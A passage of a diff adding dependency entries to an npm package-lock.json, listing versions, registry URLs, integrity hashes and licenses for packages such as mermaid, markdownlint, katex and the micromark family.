"sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/hast-util-whitespace": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz", + "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hookable": { + "version": "5.5.3", + "resolved": "https://registry.npmjs.org/hookable/-/hookable-5.5.3.tgz", + "integrity": "sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/html-void-elements": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz", + "integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ignore": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.3.tgz", + "integrity": "sha512-bAH5jbK/F3T3Jls4I0SO1hmPR0dKU0a7+SY6n1yzRtG54FLO8d6w/nxLFX2Nb7dBu6cCWXPaAME6cYqFUMmuCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/ini": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/ini/-/ini-4.1.3.tgz", + "integrity": "sha512-X7rqawQBvfdjS10YU1y1YVreA3SsLrW9dX2CewP2EbBJM4ypVNLDkO5y04gejPwKIY9lR+7r9gn3rFPt/kmWFg==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-decimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-what": { + "version": "4.1.16", + "resolved": "https://registry.npmjs.org/is-what/-/is-what-4.1.16.tgz", + "integrity": "sha512-ZhMwEosbFJkA0YhFnNDgTM4ZxDRsS6HqTo7qsZM08fehyRYIYa0yHu5R6mgo1n/8MgaPBXiPimPD77baVFYg+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.13" + }, + "funding": { + "url": "https://github.com/sponsors/mesqueeb" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsonc-parser": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.3.1.tgz", + "integrity": "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/jsonpointer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-5.0.1.tgz", + "integrity": "sha512-p/nXbhSEcu3pZRdkW1OfJhpsVtW1gd4Wa1fnQc9YLiTfAjn0312eMKimbdIQzuZl9aa9xUGaRlP9T/CJE/ditQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/katex": { + "version": "0.16.21", + "resolved": "https://registry.npmjs.org/katex/-/katex-0.16.21.tgz", + "integrity": "sha512-XvqR7FgOHtWupfMiigNzmh+MgUVmDGU2kXZm899ZkPfcuoPuFxyHmXsgATDpFZDAXCI8tvinaVcDo8PIIJSo4A==", + "dev": true, + "funding": [ + "https://opencollective.com/katex", + "https://github.com/sponsors/katex" + ], + "dependencies": { + "commander": "^8.3.0" + }, + "bin": { + "katex": "cli.js" + } + }, + "node_modules/katex/node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/khroma": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/khroma/-/khroma-2.1.0.tgz", + "integrity": "sha512-Ls993zuzfayK269Svk9hzpeGUKob/sIgZzyHYdjQoAdQetRKpOLj+k/QQQ/6Qi0Yz65mlROrfd+Ev+1+7dz9Kw==", + "dev": true + }, + "node_modules/kolorist": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/kolorist/-/kolorist-1.8.0.tgz", + "integrity": "sha512-Y+60/zizpJ3HRH8DCss+q95yr6145JXZo46OTpFvDZWLfRCE4qChOyk1b26nMaNpfHHgxagk9dXT5OP0Tfe+dQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/langium": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/langium/-/langium-3.0.0.tgz", + "integrity": "sha512-+Ez9EoiByeoTu/2BXmEaZ06iPNXM6thWJp02KfBO/raSMyCJ4jw7AkWWa+zBCTm0+Tw1Fj9FOxdqSskyN5nAwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "chevrotain": "~11.0.3", + "chevrotain-allstar": "~0.3.0", + "vscode-languageserver": "~9.0.1", + "vscode-languageserver-textdocument": "~1.0.11", + "vscode-uri": "~3.0.8" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/layout-base": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/layout-base/-/layout-base-1.0.2.tgz", + "integrity": "sha512-8h2oVEZNktL4BH2JCOI90iD1yXwL6iNW7KcCKT2QZgQJR2vbqDsldCTPRU9NifTCqHZci57XvQQ15YTu+sTYPg==", + "dev": true, + "license": "MIT" + }, + "node_modules/linkify-it": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.0.tgz", + "integrity": "sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "uc.micro": "^2.0.0" + } + }, + "node_modules/local-pkg": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/local-pkg/-/local-pkg-1.0.0.tgz", + "integrity": "sha512-bbgPw/wmroJsil/GgL4qjDzs5YLTBMQ99weRsok1XCDccQeehbHA/I1oRvk2NPtr7KGZgT/Y5tPRnAtMqeG2Kg==", + "dev": true, + "license": "MIT", + "dependencies": { + "mlly": "^1.7.3", + "pkg-types": "^1.3.0" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/lodash-es": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==", + "dev": true, + "license": "MIT" + }, + "node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/magic-string": { + "version": "0.30.17", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.17.tgz", + "integrity": "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0" + } + }, + "node_modules/mark.js": { + "version": "8.11.1", + "resolved": "https://registry.npmjs.org/mark.js/-/mark.js-8.11.1.tgz", + "integrity": "sha512-1I+1qpDt4idfgLQG+BNWmrqku+7/2bi5nLf4YwF8y8zXvmfiTBY3PV3ZibfrjBueCByROpuBjLLFCajqkgYoLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/markdown-it": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.1.0.tgz", + "integrity": "sha512-a54IwgWPaeBCAAsv13YgmALOF1elABB08FxO9i+r4VFk5Vl4pKokRPeX8u5TCgSsPi6ec1otfLjdOpVcgbpshg==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1", + "entities": "^4.4.0", + "linkify-it": "^5.0.0", + "mdurl": "^2.0.0", + "punycode.js": "^2.3.1", + "uc.micro": "^2.1.0" + }, + "bin": { + "markdown-it": "bin/markdown-it.mjs" + } + }, + "node_modules/markdown-it-footnote": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/markdown-it-footnote/-/markdown-it-footnote-4.0.0.tgz", + "integrity": "sha512-WYJ7urf+khJYl3DqofQpYfEYkZKbmXmwxQV8c8mO/hGIhgZ1wOe7R4HLFNwqx7TjILbnC98fuyeSsin19JdFcQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/markdownlint": { + "version": "0.37.4", + "resolved": "https://registry.npmjs.org/markdownlint/-/markdownlint-0.37.4.tgz", + "integrity": "sha512-u00joA/syf3VhWh6/ybVFkib5Zpj2e5KB/cfCei8fkSRuums6nyisTWGqjTWIOFoFwuXoTBQQiqlB4qFKp8ncQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "markdown-it": "14.1.0", + "micromark": "4.0.1", + "micromark-core-commonmark": "2.0.2", + "micromark-extension-directive": "3.0.2", + "micromark-extension-gfm-autolink-literal": "2.1.0", + "micromark-extension-gfm-footnote": "2.1.0", + "micromark-extension-gfm-table": "2.1.0", + "micromark-extension-math": "3.1.0", + "micromark-util-types": "2.0.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/DavidAnson" + } + }, + "node_modules/markdownlint-cli": { + "version": "0.44.0", + "resolved": "https://registry.npmjs.org/markdownlint-cli/-/markdownlint-cli-0.44.0.tgz", + "integrity": "sha512-ZJTAONlvF9NkrIBltCdW15DxN9UTbPiKMEqAh2EU2gwIFlrCMavyCEPPO121cqfYOrLUJWW8/XKWongstmmTeQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "~13.1.0", + "glob": "~10.4.5", + "ignore": "~7.0.3", + "js-yaml": "~4.1.0", + "jsonc-parser": "~3.3.1", + "jsonpointer": "~5.0.1", + "markdownlint": "~0.37.4", + "minimatch": "~9.0.5", + "run-con": "~1.3.2", + "smol-toml": "~1.3.1" + }, + "bin": { + "markdownlint": "markdownlint.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/marked": { + "version": "13.0.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-13.0.3.tgz", + "integrity": "sha512-rqRix3/TWzE9rIoFGIn8JmsVfhiuC8VIQ8IdX5TfzmeBucdY05/0UlzKaw0eVtpcN/OdVFpBk7CjKGo9iHJ/zA==", + "dev": true, + "license": "MIT", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/mdast-util-to-hast": { + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.0.tgz", + "integrity": "sha512-QGYKEuUsYT9ykKBCMOEDLsU5JRObWQusAolFMeko/tYPufNkRffBAQjIE+99jbA87xv6FgmjLtwjh9wBWajwAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "@ungap/structured-clone": "^1.0.0", + "devlop": "^1.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "trim-lines": "^3.0.0", + "unist-util-position": "^5.0.0", + "unist-util-visit": "^5.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-2.0.0.tgz", + "integrity": "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==", + "dev": true, + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/mermaid": { + "version": "11.4.1", + "resolved": "https://registry.npmjs.org/mermaid/-/mermaid-11.4.1.tgz", + "integrity": "sha512-Mb01JT/x6CKDWaxigwfZYuYmDZ6xtrNwNlidKZwkSrDaY9n90tdrJTV5Umk+wP1fZscGptmKFXHsXMDEVZ+Q6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@braintree/sanitize-url": "^7.0.1", + "@iconify/utils": "^2.1.32", + "@mermaid-js/parser": "^0.3.0", + "@types/d3": "^7.4.3", + "cytoscape": "^3.29.2", + "cytoscape-cose-bilkent": "^4.1.0", + "cytoscape-fcose": "^2.2.0", + "d3": "^7.9.0", + "d3-sankey": "^0.12.3", + "dagre-d3-es": "7.0.11", + "dayjs": "^1.11.10", + "dompurify": "^3.2.1", + "katex": "^0.16.9", + "khroma": "^2.1.0", + "lodash-es": "^4.17.21", + "marked": "^13.0.2", + "roughjs": "^4.6.6", + "stylis": "^4.3.1", + "ts-dedent": "^2.2.0", + "uuid": "^9.0.1" + } + }, + "node_modules/mermaid/node_modules/@braintree/sanitize-url": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/@braintree/sanitize-url/-/sanitize-url-7.1.1.tgz", + "integrity": "sha512-i1L7noDNxtFyL5DmZafWy1wRVhGehQmzZaz1HiN5e7iylJMSZR7ekOV7NsIqa5qBldlLrsKv4HbgFUVlQrz8Mw==", + "dev": true, + "license": "MIT" + }, + "node_modules/micromark": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.1.tgz", + "integrity": "sha512-eBPdkcoCNvYcxQOAKAlceo5SNdzZWfF+FcSupREAzdAh9rRmE239CEQAiTwIgblwnoM8zzj35sZ5ZwvSEOF6Kw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.2.tgz", + "integrity": "sha512-FKjQKbxd1cibWMM1P9N+H8TwlgGgSkWZMmfuVucLCHaYqeSvJ0hFeHsIa65pA2nYbes0f8LDHPMrd9X7Ujxg9w==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-destination": "^2.0.0", + "micromark-factory-label": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-title": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-html-tag-name": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-directive": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/micromark-extension-directive/-/micromark-extension-directive-3.0.2.tgz", + "integrity": "sha512-wjcXHgk+PPdmvR58Le9d7zQYWy+vKEU9Se44p2CrCDPiLr2FMyiT4Fyb5UFKFC66wGB3kPlgD7q3TnoqPS7SZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "parse-entities": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz", + "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", + "dev": true, + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz", + "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.0.tgz", + "integrity": "sha512-Ub2ncQv+fwD70/l4ou27b4YzfNaCJOvyX4HxXU15m7mpYY+rjuWzsLIPZHJL253Z643RpbcP1oeIJlQ/SKW67g==", + "dev": true, + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-math": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/micromark-extension-math/-/micromark-extension-math-3.1.0.tgz", + "integrity": "sha512-lvEqd+fHjATVs+2v/8kg9i5Q0AP2k85H0WUOwpIVvUML8BapsMvh1XAogmQjOCsLpoKRCVQqEkQBB3NhVBcsOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/katex": "^0.16.0", + "devlop": "^1.0.0", + "katex": "^0.16.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-factory-destination": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz", + "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-label": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz", + "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-space": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-title/-/micromark-factory-title-2.0.1.tgz", + "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-whitespace/-/micromark-factory-whitespace-2.0.1.tgz", + "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": 